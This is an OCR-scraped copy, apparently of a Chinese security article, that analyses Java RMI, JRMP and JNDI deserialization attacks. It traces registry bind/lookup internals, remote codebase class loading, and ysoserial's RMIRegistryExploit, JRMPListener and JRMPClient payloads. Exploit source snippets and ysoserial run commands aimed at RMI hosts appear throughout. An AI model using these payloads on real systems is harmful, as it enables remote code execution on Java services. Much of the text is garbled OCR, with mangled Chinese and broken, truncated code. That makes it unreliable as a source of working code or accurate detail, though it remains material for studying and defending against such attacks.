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JNDI(Java Naming and Directory Interface,Javams BB FEO)ESUNL
FIREN—MiInENJavam BALRED, INDIREERZ—NEFIHAPI, BEXAEHN
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TRE,
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JNDI
Implemantation

I Fossibilities

02

JRMP

Java 2 A& i (ZIE: Java Remote Method Protocol, JRMP) 243 FE FJava
FARKN., BFEHRMSIAZEN RO, XEEfTEJavaZzfZAERAR (RMI) 27T,
TCP/IPZ ML EE NN,

03

RMI

Javaizf2 5% 1@A, BlJava RMI (Java Remote Method Invocation) 2JavaZRizig
EE, MATXUzREIRERANNEBREREEZED. EEEPINELETHNRERATMNA
FAInRERZHFELONR, ERAEABEYHFEJavaBREAREBEMESRIEROMIRE.
RMIZEHREMEREENZEEONRNER,
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Network connection

Transport Layer

4 Transport Layer

A
04
JDK X 8 bR 7
[ES RARCE =20
6u45 ) , _ .
021 java.rmi.server.useCodebaseOnly=true PRI RMI shainsg,
6u147 o
com.sun.jndi.rmi.object.trustURLCodebase = false
7u131 L . : FR#& INDI-RMI
s com.sun.jndi.cosnaming.object.trustURLCodebase = false
6uU21
7u207 . ,
8u191 com.sun.jndi.ldap.object.trustURLCodebase = false FE®EI INDI-LDAP
11u01
RMIK & @£
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01
RMI Serialization Attack

AR ttDemoR BMRARS, B0 EESHTRAREEMEA,

Demo

e with JDK 1.8.0_151
e with java-rmi-server/ rmi.RMIServer, Services. PublicKknown

e with java-rmi-client/ rmi.RMIClient . Services . ServicesImpl .

PublicKnown
PS: {RARAFLiEERegistrylmpl_Skel B M E &,

po ki
i bind X3
e Server <-> RMI Registry <-> Client

server B bind FMBERSIHESHITEIHE MRS B &Ref, Bt HA
Registrylmpl_Skel.dispatch% 2 g &k % 7t 5K B,

e Server(RMI Registry) <-> Client

XMIERX T, AT server 5 Registry 2R@—&#l2s, & bind FMETHTF server £
EBH Ref, AAREFIIHER, RFEE bindings list FRINIT N HEERIT,

M. BERIAE

RMI Registry B#Z 0\ F Registrylmpl_Skel, Z Server# fTbind. Client# 17
lookupft{&, ¥J&=@idsun.rmi.registry.Registrylmpl_Skel#dispatchi# T4 12,

bind

B 7% ¥ B # Servicelmpl 4% /& T UnicastRemoteObject, £ Ll Lt Bt & B &
exportObjectfliZIREI L AR S AIstub,
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public class ServiceImpl extends UnicastRemoteObject implemen

/ %%
* Exports the specified object using the specified server re
*/
private static Remote exportObject(Remote obj, UnicastServerR

throws RemoteException

{
// if obj extends UnicastRemoteObject, set its ref.
if (obj instanceof UnicastRemoteObject) {

((UnicastRemoteObject) obj).ref = sref;

b
return sref.exportObject(obj, null, false);

b

B ® I bind @ RMI Registry lR 5 28 B 18 T Mt 48 & AR &5 B &stub IR A ZF|

sun.rmi.registry.Registrylmpl_Stub#bind, I EMEZ @ RMI RegistryBHiER, 2
=ANB IR operations BHIIRIE,

XEBEAEFTEWNED writeObject, £ 3lME var3 WEERTEANFICENRS R
&stub,

id bind{String varl, Remote varl ws AccessException, AlreadyBoundException, RemoteException varl: "saridl" var2: “Servicelnpl[UnicastServerfef [LiveRef: [endpoint:[127.8.0

RemoteCall vard = ref.newCalll ot

ations = {Operation[5]@984}
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RMI RegistrylRZ| RIS FATRBEIEANNREEHFAEXRE, 0ORFFEADbInd, FE
ZIMIR readObject Al R I IKRENAR S R &stubfg, B @ bindings List A5 A\ #
.

EmsIERT —1T=: Server Bid @ RMI Registry BHi5 bind BIEHITFIIHK
fﬁo

lookup

B %&£ Client [@ RMI Registry H® {5 lookup ' ¥ B &
(sun.rmi.registry.Registrylmpl_Stub#lookup)fEiB2iREH N 2, BERFHKT B
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¢ Remote lookup(5tring varl) throws AccessException, NotBoundException, RemoteException { warl: "sari3l"

RemoteCall var2 = this.ref.newCall( obl: this, operations, opni 2, hash 71L); war2 (slot_2): StreamRemoteCall@7él

ObjectOutput var3 = var2.getOutputStream();
var3d.writeObject(varl); warl: "sari3l"
(I0Exception varl?) {
1ew MarshalException("error marshalling argu

this.ref.invoke(var2);

00000000 50 ac ed 00 @5 77 22 00 00 00 00 00 00 00 00 00 P....W'. suierans
00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 PO 00 00 ....eves susasnns
00000020 [02]44 15 4d c9 d4 e6 3b df 74 00 06 73 61 72 69 Ul e s qisc ol
00000030 33 6C 3L

RMI Registry(sun.rmi.registry.Registrylmpl_Skel#dispatch) X B E# & % &k F 51t
AT MRS R, BM bindings list R#ITEM,

try {
var8 = var2.getInputStream();
var? = (String)var8.readObject(); var8 (slot_8): ConnectionInputStream@l251
tch (ClassNotFoundException | IOException var73) {
ew UnmarshalException("error unmarshalling arguments", var73);
} finally {

var2.releaseInputStream(); var2: StreamRemoteCall@l247

var8@ = var6.lookup(var?);

ry {

ObjectOutput var82 = var2.getResultStream( su

var82.writeObject(varg8e);
break;
(IOException var72) {
ew MarshalException("error marshalling return", var72);

XEBEFMSIEFRXT B —"15: Client @33 [ RMI Registry HiE5 lookup BIEHTFIIKL
Iﬁﬁo

BEMTTA?

BIBETE, 23 86 1THIA writeObject, XER B ZHRIMNstubFILIEHL
Client,

[B%] Client BB H, ATIAEZEI104 T8 readObject,
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Fx Lic Remote lookup(String varl) thr AccessException, NotBoundException, RemoteException {
try {

RemoteCall var2 = this.ref.newCall( obj: this, operations, opnum: 2, hash

try {
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(varl);
catch (IOException varl7) {
throw new MarshalException("error marshalling arguments", varl7);

this.ref.invoke(var2);

Remote var22:
try {
ObjectInput vard4 = var2.getInputStream();
var22 = (Remote)vard.readObject();
} catch (I0Exception varil4) {
ew UnmarshalException("error unmarshalling return", varl4);
ClassNotFoundException varl5) {
ew UnmarshalException("error unmarshalling return", varis);

return var22;

XEMSILRTE=ZTR: RMI Registry @B lookup RFWNA KT Client,

e s TR
MEHNIES T bind, lookup®IESo RS, A4 client SWEILI iz 2 EAIE?
BERHARFTMNERH

java.rmi.server.RemoteObjectinvocationHandler T M M SR B, HE X H

sun.rmi.server.UnicastRef#tinvokeX I A H .
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Object varll; wvarll (slo

{int varl2 = 2; varl2 < [{Objectl

marshalValue( (Class) ( (Dbject[])varll) [varl

(I0Exception 39) {
clientReflog. log{Log.BRIEF,
MarshalExceptio

-executeCalli);

Class vard4é = varl.getReturnType

f (vardG Void.TYPE) {
varll

varll;

varll = var7.getInputStream();
Object vard7T = unmarshalval
varg

clientReflog. log({ Log.BRIEF,

ARABAHREIERZEEmarshalValue$] &

RE5IE.

https://mp.weixin.qq.com/s/SxHPCklm3IyBn7vc5_OiUA
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» var3(varl2], varld);

ObjectInput)varll);

FHunmarshalValueX{EE A & i
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protected static void marshalValue(Class<?> var@, Object varl, ObjectOutput var2) throws IOException {
if {(var@.isPrimitive()) {
if (var® == Integer.TYPE) {
var2.writeInt((Integer)varl);
if (var® == Boolean.TYPE) {
var2.writeBoolean( (Boolean)varl)
else if (var® == Byte.TYPE) {
var2.writeByte((Byte)varl);
(var@® == Character.TYPE) {
var2.writeChar((Character)varl);
if (var@ == Short.TYPE) {
var2.writeShort((Short)varl);
Long.TYPE) {
var2.writeLong((Long)varl);
if (var@ == Float.TYPE) {

var2.writeFloat((Float)varl);

else

else if

eLse

else if (var@ ==

else

else {
if (var® != Double.TYPE) {

+hrot
nrow

new Error("Unrecognized primitive type: " + var@);

var2.writeDouble((Double)varl);
}
else {
var2.writeObject(varl);

protected static Object unmarshalValue(Class<?> var®, ObjectInput varl) throws IDException, ClassNotFoundException {
if (var@.isPrimitive()) {

if (var@ = Integer.TYPE) {

return varl.

} else if
return varl

} else
n varl

else

return varl.
f (var@ ==
rn varl.

P F

2 1f (var@

turn varl.

else

if (var®

return varl.

else {

throw new Error("Unrecognized primitive type: "

}
} else {

returr

(var® ==
. readBoolean() ;
if (var® ==

if (var@ ==

(varg ==
eturn varl.

readInt();
Boolean.TYPE) {

Byte.TYPE) {

. readByte();

Character.TYPE) {
readChar();
Short.TYPE) {
readShort();

Long. TYPE) {
readLong();

== Float.TYPE) {
readFloat();

== Double.TYPE) {
readDouble();

varl.readObject();

B Demo X[RIERPREBE, A RNevilE KR IEE H 8 Services .
PublicKnown(&E2#1iRE) AR, EFRENEZHMERA KM gadget,

W75 1]
ARABRNLERE T =1 &R,

I

Bid[@ RMI Registry B bind EE#HIT
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2.Client #iI[@ RMI Registry BiE lookup #EFHITRINMCKE:;
3.RMI Reg|stry Bid lookup BIEHMIAKE Cllent

HILFZANE—TRERIM Server HFARER—TEHEMRSSHLE, LLNEE—
S(EFEREE)ITMEEMRFPOLOLREEMBEKREMET bind &£ RMI Registry L #1417
K, Bian:

Client —— bind --> RMI Registry(Server)

BEE-_R. FZRBtE, FIURENEHR—T:

1.[@ RMI Registry Bi5 bind BEHTFIIMCKE;

2.[a RMI Registry 15 lookup B1E#HTRINMKE;
3.RMI Registryi@idlookupiREH A FINHKRTIERE.

bind - RMIRegistryExploit
e with JDK 1.7.0_17
e with java-rmi-server/ rmi.RMIServer2

e with ysoserial.exploit.RMIRegistryExploit

ysoserial.exploit.RMIRegistryExploitL PR M bindEHFH B, HIIKEEETENR
B,

EROETRR, NTE—RANUESF ccl oA KJavarSHRIE-LAXE.

e sun.reflect.annotation.AnnotationinvocationHandlersi&S{SIERemote.class
e bind #fF

Object payload = payloadObj.ge

String name = "pwned" + System

Remote remote = Gadgets.crea l .creat (name, payload), Remote.class);
try {

registry.bind(name, remote);
} catch (Throwable e

e.printStackTrace();

X B £ — F ”» A+ 4 F & K 2B, 2 B F #
sun.rmi.registry.Registrylmpl_Skel#tdispatch , # 47 bind B & &

Remote.readObject F3Itt, SFIAMA
AnnotationlnvocationHandler.invoke,
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case 0@:

try {

varll = var2.getInputStream();

var7 = (String)varll. readObject();

var8 = (Remote)varll.readObject();

RMI Remote Object

codebasefZiE A ffuseCodebaseOnly

RMIE—TEEMNHEMENSEMBIE, SARMCLASSPATHR L A RIE N A
KN, SEEEMNcodebaseEMEclass,
java.rmi.server.useCodebaseOnly=false, BEE2XT™HUEE—EFEN, H
Heuas, 7u2 MBI IAR true AR &,

XEBSIHEAX® Enhancements in JDK 7:

MEBERMIEE—IHNIVMEHjava.rmi.server.codebaseZ L BMHRIEE T — 1
HEZPURL, MMZEERBEIRMIEREEEZE S — ik, URFBWHIVME
java.rmi.server.useCodebaseOnlyRZ LB M IEE Nfalse, NEIW =X &FH X
LURLEMBERMIBERAFSIBNJavazk,

MHBARMIEEZNTREIREEMUEMBENTH, SHER
java.rmi.server.useCodebaseOnly# IR E Ntrue, EXMIBEBRT, XM E
MUE (FlaAtiEE

java.rmi.server.codebase & M 3 A& # CLASSPATH ) M & X, MW H M
codebase BIIRMIBKRREENEFEEFMEE.

demo
Client I Server
e with JDK 1.7.0_17

e with java-rmi-server/rmi.RMIServer?2

e with java-rmi-client/rmi.RMIClient2, remote.RemoteObject
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# Client I8 7 codebase thtit, Server MEBEB XN & M 7F & i
classpath F#HTEEK, EREKINIBERTRET codebase XI5 E it H IR
B,

NTeEBZEMBE Bink, FBEServeriMMFBFHE EZERMISecurityManager, #[E
Rig & :

java.rmi.server.useCodebaseOnly=false

TEfEW T codebase 2R M AIEARRIE?

BO0R0B00 4a 52 4d 49 @@ 02 4b JRML. K
00000080 de 0@ 80 31 32 37 Je 30 2e 30 Je 31 08 08 cB 03 N..127.8 .0.1....
BBOBAAAT B0 05 31 32 37 Je 30 Je 30 Ze 31 00 B0 08 08 7.9. 8.1
BBODOB1E 50 ac ed @9 95 77 22 08 OB 0D @@ 00 PO 00 02 80
GO000026 B0 00 0O @0 22 00 B0 0B 00 00 90 00 00 20 0 B0
80000036 @1 16 b6 89 8d Bb f2 86 43 75 72 0@ 18 5b 4c Ba
BOPOOD46 61 76 61 Ze 72 6d 69 Je T 65 72 76 65 72 Ze ar
BBORRASE 62 Ga 49 44 3b BT 13 08 LB d 2c 64 Te 02 00 B0
BBODRAGE 74 0B 16 6B 74 T4 70 3a 21 2f 31 32 37 2e 38 2e
B0000876 30 2e 31 3a 3B 38 38 38 21 78 70 00 0O 02 01 73
BBODAABE 72 0@ 1S 6a 61 76 61 2e T2 6d 69 2e 73 65 72 76
BBOGOBOE 65 72 2e 4f 62 Ba 49 44 a7 Se fa 12 Bd dec o5 Sc
OO000BAE B2 0B 02 da M@ 06 &f 62 6a de 75 6d 4c 00 05 T3
BBODOREE 70 61 63 65 74 B0 15 4c 6a 61 76 61 2 72 &d 69
BOOROBCE 2f T3 65 72 76 65 72 2f 55 49 44 3b 71 00 Te 0@
80000006 81 TE T 16 09 fe 48 S5a Se 41 73 72 0@ 13 Ga
PBODORES 61 TE 61 Ze 6d 69 2e 73 65 72 76 65 72 2e 55
BRORROFE 49 44 BT 12 Bd bf 36 41 12 82 0@ B3 53 0@
e0000106 63 61 75 Ge 4a 00 04 T4 69 6d G5 45 00 06
80000116 6e 69 71 75 65 71 80 Te 00 21 78 70 B0 01 &0
80800126 81 71 95 cb 24 16 17 ed 85 3 77 OB BD 00 0O
00000136 80 0@ 00 80 73 T2 80 12 Ga 61 76 61 Ze 72 6d &9
e
L
i
(31
61

« Java.rmi
se..afad
« valuel..
javasrmi
DiQ.~. o
Sreejav

0BORO14E 2e 64 67 63 2e 4c 65 61 73 65 b bS 2 66
BORA1SE dc 34 02 80 42 B0 @5 76 61 6c 7S 65 4c
BOODO166 76 G 69 64 74 B0 13 dc Ga B1 76 61 2f 72
8BOBO1T6 21 64 67 63 2f 56 40 49 44 3b 71 00 Te 00
900RO1S6 70 0B 00 B0 99 00 89 27 B 73 72 00 11 Ga "

BROBA196 61 2e 72 Gd 69 2e G4 67 63 2e 56 4d 49 44 18 BG y c.VMID. .
BBORR1AE Sb af a4 a5 6d b6 92 00 02 Sb @0 M4 61 B4 &4 T2 . se o looaddr
PBODA1EE 74 D@ 02 5b 42 4c 90 03 75 69 64 T1 80 Te 09 B4 .o Uddg...
0BOROICE 71 OB Te @0 91 78 78 75 72 00 92 Sb 42 ac 13 17 » (B
PR0RI06 18 06 08 54 =0 02 A0 00 7O 78 70 00 00 00 08 11 ...T... i
PBORAIES dl de 75 34 ea 1b 2@ 73 71 00 Te 00 06 B0 01 B0 .. =B Barenn
POOROIFG B0 01 71 95 db d4d e3 47 93 7c 69

1 chieat phtfal, 1 merver phtial, § furnia)

Entire conversation (529 bytes) Show and save data a5 Hex Dump Stream & C
Find Find Next
Help Filter Out This Stream Print Save as Back Close

mmaﬂﬁb/u\{%igi

java.rmi.server.RemoteObjectinvocationHandler##finvokeRemoteMetho
dXIIZFE A .
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vate Object invokeRemoteMethod(Object proxy, proxy: "Proxy[Services,RemoteObjectInvocationHandler{UnicastRef {!]"
Method m d method: "public abstract java.lang.Object rmi.Services.send(rmi.Me
Object(] s) args: Object[1]@937
hrows Exception

f Remote}) {
alArgumentExcept
“proxy not Remote instance");
}
return ref.invoke( (Remote) proxy,
thodHash(me
h (Exception e) {
f (e instanceof RuntimeException)) {
Class<?> cl = proxy.getClass();

try {
Debug: RMIServer2 = | RMIClient2 =
Debugger B

Frames

“main”@1 in group "main®: RUNNING x N

invok teMethod: 194, R teObjectinvocationHandl

~ W ref = {LiveRef@951} "[endpoint:[127.0.0.1:60326] (remote),objiD:[-259¢ 276 2:171a59830bb:-71ff, 8597666449924

® e

L
. cr
%

Server BIKRFBAAESE, #HA
sun.rmi.server.MarshallnputStream#iresolveClass,
B F useCodebaseOnly B false, MEFImEEUTEFEEEBEfRZE,

Class resolveClass|ObjectStreanClass
object varz = resdLocat o
String vard = varl.pethane!) £ “resoi o * warl: "rosote.Remot
ClassLoader vard = skipbefault r estitse Def inedLoader
string vars vars { 27
useCodebaselnly & var?

vars = (Stringlvar2

e & o ¢ ol

PMICLassLoader. LoadClass (vars, vard, vard);
AeesssContralExeaption vard) {
checkSunClassivard, vard);

ClasshotFoundExcaption varld) {

®E £ € & €

[Character. isLowerCase(vard.charht(8)] & vard. indexOf |4

L

. resolveClassivarl);

ClassNotFoundExceotion vardl {

Ll

resclveClass: 296, MarshalinputStream /sun.smi. serves)

EHENEEFEE
java.io.ObjectlnputStream#readOrdinaryObject,

8
java.io.ObjectStreamClass#initNonProxy# 1T L 1t .

https://mp.weixin.qq.com/s/SxXHPCkIm3IyBn7vc5_OiUA
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desc. initNonProxy(readDesc, cl, resolvefx, readClassDesc{ unshared: false)); desc (slot_2): "remote.RemoteObject: static final long serialVersionUID = 64B69351¢

handles. f inish{descHandle];
passHandle = descHandle;
return desc;

"RMI TCP C
readNonProxyDe ObjectinputStream (3]
vshared

desc (slot_2) = {ObjectStreamClass@1037} "remote.RemoteObject: static final long serialVersionUID = 6486935163959744361L;"

Server W& Client

e with JDK 1.7.0_17
e with java-rmi-server/rmi.RMIServer3., remote.RemoteObject?2
e with java-rmi-client/rmi.RMIClient3

AU EEES, M
sun.rmi.server.UnicastRef#tinvoke 8 2 —HMWZBE, RELIEERAFXRR—
¥, TBER.

resolveClass: 218, MarshalinputStream Sun i server)

X 3l I & 75 1@

HiERABBEXY¥EB Client,
EBXANN=4EETF

https://mp.weixin.qq.com/s/SxXHPCkIm3IyBn7vc5_OiUA 15/34
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sun.rmi.server.UnicastRef#invoke(java.rmi.Remote,java.lang.reflect.
Method,java.lang.Object[], long)4 I BERE,

e line 79: Client i Server, #£F 1L Server XK E Class mEE R,
HTAMEEEEXLEMUARESNAMIER KT,

e line 89: Server i Clinet, f£F Client AN L2 EREEERITE
Class T AMKRFINHNSHER L.

vary = amRemoteCall(var6, this,ref.getObjID(),

Object varll; varll (slor_11): Class[l]j@lea3
vardl)
efLog. log{Log. BRIEF, ng arguments: *, vardl);
ew MarshalException(“error ma ts", vardl);

var7.executeCall(); var7 (slot_7): StreamRemoteCall@gsz

Class vard4d = var2.getReturnType(};
if (vardd == Void.TYPE) {
varll = null;
irn varll;
¥

varll = var7.getInputStream{);

[ unmarshalValue{vard4d, (Objec

9. log(Log.BRIEF, s "free

JRMP

e with JDK 1.7.0_80

e with java-rmi-server/rmi.RMIServer?2

ABRNE:

FERMORMIBEIZFPRIEREFHESRMIRSHEEEY, 2EATLEREIRMPHH
WEHTEE, EREHEFIANEENRERS K, KNRSHEDLIREEFiG
— P EERINMHUNR, BAEFPIHETEHKT, FIHIRMPHR o] AF Asocket
HITEGE, ESPHEEMNBIRMPIHI N A EZHIE, MARESRSHNIRE, HiLL
EMEEAFATENRE.,

XEBEHNIEH N ysoserial /L 1NHHEH*X Class #HT oW, BEEEIFETHXNE
F .

https://mp.weixin.qq.com/s/SxXHPCkIm3IyBn7vc5_OiUA 16/34
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e payloads.JRMPListener ZBiiRFSHEEMIEO L ABIRMPREITERS -
o LF A
e payloads.JRMPClient @ B #x BR 5 &8 &K X T M Ref , B #&
exploit.JRMPListener ihit
e exploit.JMRPListener #s[@i5k H & &% payload
e exploit.JRMPClient Exim BirlkFEEHF I payload

BRIEE 29, BMNERZTETR FTXTDGCH—ERE, MEEBTENRE.

RMI.DGC & RMI XK EKREHTEMED, H RMI RSHEE—TNR
HEEFPN (ZEAFAENERR) B, EREFECZENREZFINAFPNER. 2H%
EEZNNEFNLZENRNS BN, FIEURSIAN“EBEE " IHHBREE
i, RE[BELIREIKWITENR,

payloads.JRMPListener

ETRZAE, H%EBBTIAVAREFIHKERMIZEOSIM,

1.Serializablet& 0 : EX XM writeObject, readObject. writeReplace.
readResolve

2 . Externalizable0: 3K writeExternal, readExternal

wakii]

Bl EJJRMPListenerd, RBRER, FEPEMRERN—THAEEREOHITE
IFRMIBRZ B payload,

/restriction/
= "This test would make you potentially vulnerable")
rs.MBECHLER })
JRMPListener extends PayloadRunner ts ObjectPayload<UnicastRemoteObject> {

UnicastRemoteObje t f g ¢ throws Exception {

jrmpPort = Integ

UnicastRemoteObj uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {

RemoteRef.class

erRef(jrmpPort)
i

Reflections.getField(UnicastRemoteObject.class, fieldName: “port").set{uro, jrmpPort);
eturn uro;

HATE LIRAE
ysoserial.payloads.util.Reflections#createWithConstructor, T f T X
;iBE,

https://mp.weixin.qq.com/s/SXHPCklm3IyBn7vc5_OiUA 17/34
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pes, Object[] cor

s NoSuchMethodExc
> objCons = constructor

e(objCons);

s¢ = ReflectionFactory.getReflectionFactory().newConstructorForSerialization({classToInstantiate, objCons);

1.5 &% RemoteObject TS X E N RemoteRef KM IEE.
2. RIBRIMNMWER HActivationGroupImpl B SER — MM ERH LRI
.

A LBEZIHENE? HXMB2 R T B RIEAActivationGroupImpl K5 #EH
%, BRERNIEMAATIZNEA,

ActivationGroupImpl(ActivationGroupID varl, MarshalledObject<?> var2) tf 5 RemoteException {
super(varl);
this.groupID = varl;
unexportObject( obj: this, for H
ActivationGroupImpl.ServerSocketFactoryImpl var3 = new ActivationGroupImpl.ServerSocketFactoryImpl();
UnicastRemoteObject.exportObject( obj: this, port: @, (RMIClientSocketFactory)null, var3);
if (System.getSecurityManager() == null) {

try {

System.setSecurityManager(new SecurityManager());

1 (Exception var5) {
throw new RemoteException("unable to set security manager", var5);

H{IXxE TFUnicastRemoteObjectERF MMM T 14, MreexportiE A\ Z|
exportObject, BIZWEITHIRE L stub,

https://mp.weixin.qq.com/s/SxHPCklm3IyBn7vc5_OiUA
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tObject{Remote obj, UnicastServerRef sref) obj: “UnicastRemoteObject{UnicastServerRef [liveRef: [endpoint:[18.17.35.

B4, BYX LEMNSTIRLEERINIRAEEUnicastRemoteObjectfi @B B A
TFRIA, TERMBITMN, BEFSATAEEEBRTI FEERIMABIE?

ActivationGroupImpl uro = Reflections.createWithConstructor(A
RemoteRef.class

}, new Object[]l {
new UnicastServerRef(jrmpPort)

});

UnicastRemoteObject uro = Reflections.createWithConstructor(U
RemoteRef.class

}, new Objectl[] {

new UnicastServerRef(jrmpPort)
)

7

java —-cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip>

https://mp.weixin.qq.com/s/SxXHPCkIm3IyBn7vc5_OiUA 19/34
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java —-cp ysoserial-master.jar ysoserial.exploit.JRMPClient <rm

payloads.JRMPClient

el

fERN payloads MIODRBIKIBARRZ, £ ref HEEZE handler, ISR E
Registry,

XPfrt, F ClassLoader HAIZ2AMUIRE N Null, X E e LAET EEH
ZREENE,

ETAMH258%N Registry ? AZRNBENBDTSRETXITE, EHTHFENE
XNEMHE, EFRARAXERENBERMESR Object FEIYFH,

MEHNE TRBEE:

ObjID id = new
TCPEndpoint te
UnicastRef ref =

RemoteObjectInvocationHandler obj =

Registry proxy = (Registry) Proxy.ne
Registry.class
Fi obj);

n proxy;

HENEBE— proxy EERIMAN, RELEAESTERRHTRIK(XER
BF, SEBCERIML), LS EABEARXZE RemoteObject.readObject ()

https://mp.weixin.qq.com/s/SxXHPCkIm3IyBn7vc5_OiUA 20/34
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dp & InvocationHandler

@ & invoke(Object, Method, Object[]) Object

RMI F ] 43 #

dp a8 Serializable &y @ Remote

|
@a
WA
Q8
9o

: @ a
‘Wa
¥ a
‘va
9o

RemoteObject

RemoteObject()
RemoteObject(RemoteRef)

getRef() RemoteRef
toStub(Remote) Remote
hashCode() int
equals(Object) boolean
toString() String
writeObject(ObjectOutputStream) void

8 readObject(ObjectinputStream) void

RemoteObjectInvocationHandler

3 RemoteObjectinvocationHandler(RemoteRef)

@ invoke(Object, Method, Object[])

Object

i invokeObjectMethod(Object, Method, Object[]) Object
3 invokeRemoteMethod(Object, Method, Object[]) Object

: proxyToString(Object)
' readObjectNoData()

@ & getMethodHash(Method)

https://mp.weixin.qq.com/s/SxHPCklm3IyBn7vc5_OiUA
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ClassNotFoundException(internalRefClassName, e);
ratch (IllegalAccessException e) {
w new (lassNotFoundException(internalRefClassName, e);
1 (ClassCastException &)

otFoundException(internalRefClassName, e); internalRefClassName (slot_3): “sun.rmi.server.UnicastRef"

Debug: . RMIServer2 =
Debugger (3 censole
Frames

RMI TCP Connection(2)-127.0.0.1"@770 in group "RMI Runti...

readObject:455, RemoteObject (fava.rmi.server)

"UnicastRef"

t_3) = "sun.rmi.server.UnicastRef"

XEERFEA
sun.rmi.server.UnicastRef#readExternal,
ZRBE#HN

sun.rmi.transport.LiveRef#read,
BXEHAEHANE DGCClient T, BERIE ref FEFANE
ConnectionlnputStream.incomingRefTableH,

08jID vard = ObjID.read(vard); var
vard = vard.readBoolean(); ward (slot
LiveRef varS = new LiveRef(vard, var2, fals
(war$ instanceof ConnectionInputStream)
ConnectionInputStrean varé = (ConnectionInputStrean)vard;
vart. saveRef (vars);
vard) |
vars. setAckNeeded | ) ;

read:301, LiveRel fSun.cmi transport)

EREERBANEEZERN, 2XincomingRefTabledm#y ref #H1T3E 1.

https://mp.weixin.qq.com/s/SxXHPCkIm3IyBn7vc5_OiUA
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releaselnputStream() throws IOException {

«An =

«in.done();

(RuntimeException vars) {

in.registerRefs();

in.done(this.conn);

conn. releaselnputStreani ) ;

n group "RM

releaselnputStream:156, StreamRemoteCall fsun.mi transport)

A LBRXLMIE? java TRER, FHABTRKBEL,

/ %%

* Save reference in order to send "dirty" call after all args/
* have been unmarshaled. Save in hashtable incomingRefTable.
* table is keyed on endpoints, and holds objects of type

* IncomingRefTableEntry.

*/

m1E
sun.rmi.transport.DGCImpl|_Skel#tdispatchF 2 XL FITBEFHNRIE,

var2.releaseInputStream();

Lease varll = var6.dirty(var7, var8, varlo);

B2 ref XM, X257 DGCClient X refs #H1TiEHM.

https://mp.weixin.qq.com/s/SxHPCklm3IyBn7vc5_OiUA
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void registerRefs() throws IOException {

f (!this.incomingRefTable. isEmpty(}) {

Set varl = this.incomingRefTable.entrySet(); wvarl (slot_1 con afTable: size =1

Iterator var2 = varl.iterator(); wvar2 (slot_2): Hask ) on@ds3 v (slot_1): size =1

while(var2.hasNext()) {
Entry var3 = (Entry)var2.next(); wvar3 lot_. "[127.0.8 var2 (slot_2): HashMap$EntryIteraton@9s.
Endpoint var4 = (Endpoint)wvar3.getKey

List var5 = (List)var3.getValue(); wvar5 ( ): size / slot_3): "[127.8.8.1:27165]" -> size = 1
DGCClient. registerRefs(vard, var5);

RENEHRIXNBMFEEREHTREFINENR, TENATHE
exploit.JRMPListenerf i# %,

readObject:369, ObjectinputStream (ava./io)

FIABDNREON TR, HREBNEEEANSRENIS, B4ER payload
NEZEFItERRemoteObject FRMMER, MELEEHNEIRHNTER

RemoteObjectinvocationHandler, El:

ObjID id = new ).nextInt());
TCPEndpoint te v TCPEndpoi host, port);
UnicastRef ref = i (id, te,

7 F

payloads.JRMPClient 2EHB & exploit.JRMPListener —E{EMHI,

java —-cp ysoserial-master.jar ysoserial.exploit.JRMPListener <

java —-cp ysoserial-master.jar ysoserial.exploit.XXXXX <rmi_ip>

https://mp.weixin.qq.com/s/SxHPCklm3IyBn7vc5_OiUA 24/34
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exploit.JRMPListener
DEMPTJIRMPListenerfy X 5l

e payloads.JRMPListener I LH B JMRP &if
e exploit.JRMPListener XM JRMP Client iEXKBIMN ZF

pakii]

M Main INEBEHEXEZEMZAB LW JRMP ix 0O F1
payload,

A
r-T-IFI"
[ h
sy
i
i
=
el

public static void main ( final String[] args ) {

if ( args.length < 3 ) {
System.err.println(JRMPListener.c etName() + " <port> <payload_type> <payload_arg>");
System.exit( status: -1);

return;

final Object payloadObject = Utils.makePayloadObject(args[ 1 1, argsl[ 2 1);

try {
int port = Integer.parseInt(args[ @ 1);
System.err.println("* Opening JRMP listener on " + port);
JRMPListener ¢ = new JRMPLis ort, payloadObject);
c.run();

}

catch ( Exception e ) {
System.err.println(*“Listener error");

kTrace(System.err);

oad(args[1], payloadObject);

EWITRT ST I #HITREMN, A StreamProtocol, SingleOpProtocol % #%
)4 @33 doMessage #HITNE,

https://mp.weixin.qq.com/s/SxXHPCkIm3IyBn7vc5_OiUA 25/34
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byte protocol = in.readByte();
switch ( protocol ) {
case TransportConstants.StreamProtocol:
out.writeByte(TransportConstants.ProtocolAck);
if ( remote.getHostName() != null ) {
out.writeUTF(remote.getHostName());
} else {
out.writeUTF(remote.getAddress().toString());
}
out.writeInt(remote.getPort());
out.flush();
in. readUTF();
in.readInt();
case TransportConstants.SingleOpProtocol:

doMessage(s, in, out, is.payloadObject);

break;

default:

case TransportConstants.MultiplexProtocol:
System.err.println("Unsupported protocol");
s.close();

continue;

M7 doMessage PN IZIERMITEA K% payload HIES.,

private void doMessage { Socket s, DatalnputStream in, DataOutputStream out, Object payload ) throws Exception {

System.err.println("Reading message...");
int op = in.read();

switch ( op ) {
case TransportConstants.Call:

doCall(in, out, payload);

break;
case TransportConstants.Ping:

out.writeByte(TransportConstants.PingAck);

break;
case TransportConstants.DGCAck:

UID = UID.read(in);

break;

B4 payload ZMFEHWE T IR
EEE doCall RMFMKBRE, M cod WADRR—HN,

https://mp.weixin.qq.com/s/SxXHPCkIm3IyBn7vc5_OiUA
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ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, .classpathurl);

oos.writeByte(TransportConstants.ExceptionalReturn);

new UID().write(oos);

BadAttributeValueExpException ex = new BadAttributeValueEx eption(null);
Reflections.setFieldValue(ex, fieldName: "val", payload);

oos.writeObject

BEEETENZ,
BadAttributeValueExpException.readObject B fit & = =~ —
valObj.toSting(), XEARARXNNELN T —HEREUVHNIN R,

WMABREZMAE, BIMMNARETEMREWM@MME JRMPListener XK,

oid registerRefs() ¢ I0Exception {
f (!this.incomingRefTable.isEmpty()) {
Iterator varl = this,incomingRefTable.entrySet().iterator(); wvarl ( 1): HashMapsEntryItera incom RefTable:

while{varl.hasNext()) {

Entry var2 = (Entry)varl.next(); B8.1:27165]" —= size =1 varl (slot_1): HashMap$EntryIterator@897

DGCClient. registerRefs( (Endpoint)var2. getKey

797 in group ... ¥

registerRefs:94, ConnectioninputStream (sun.rmi.transport)

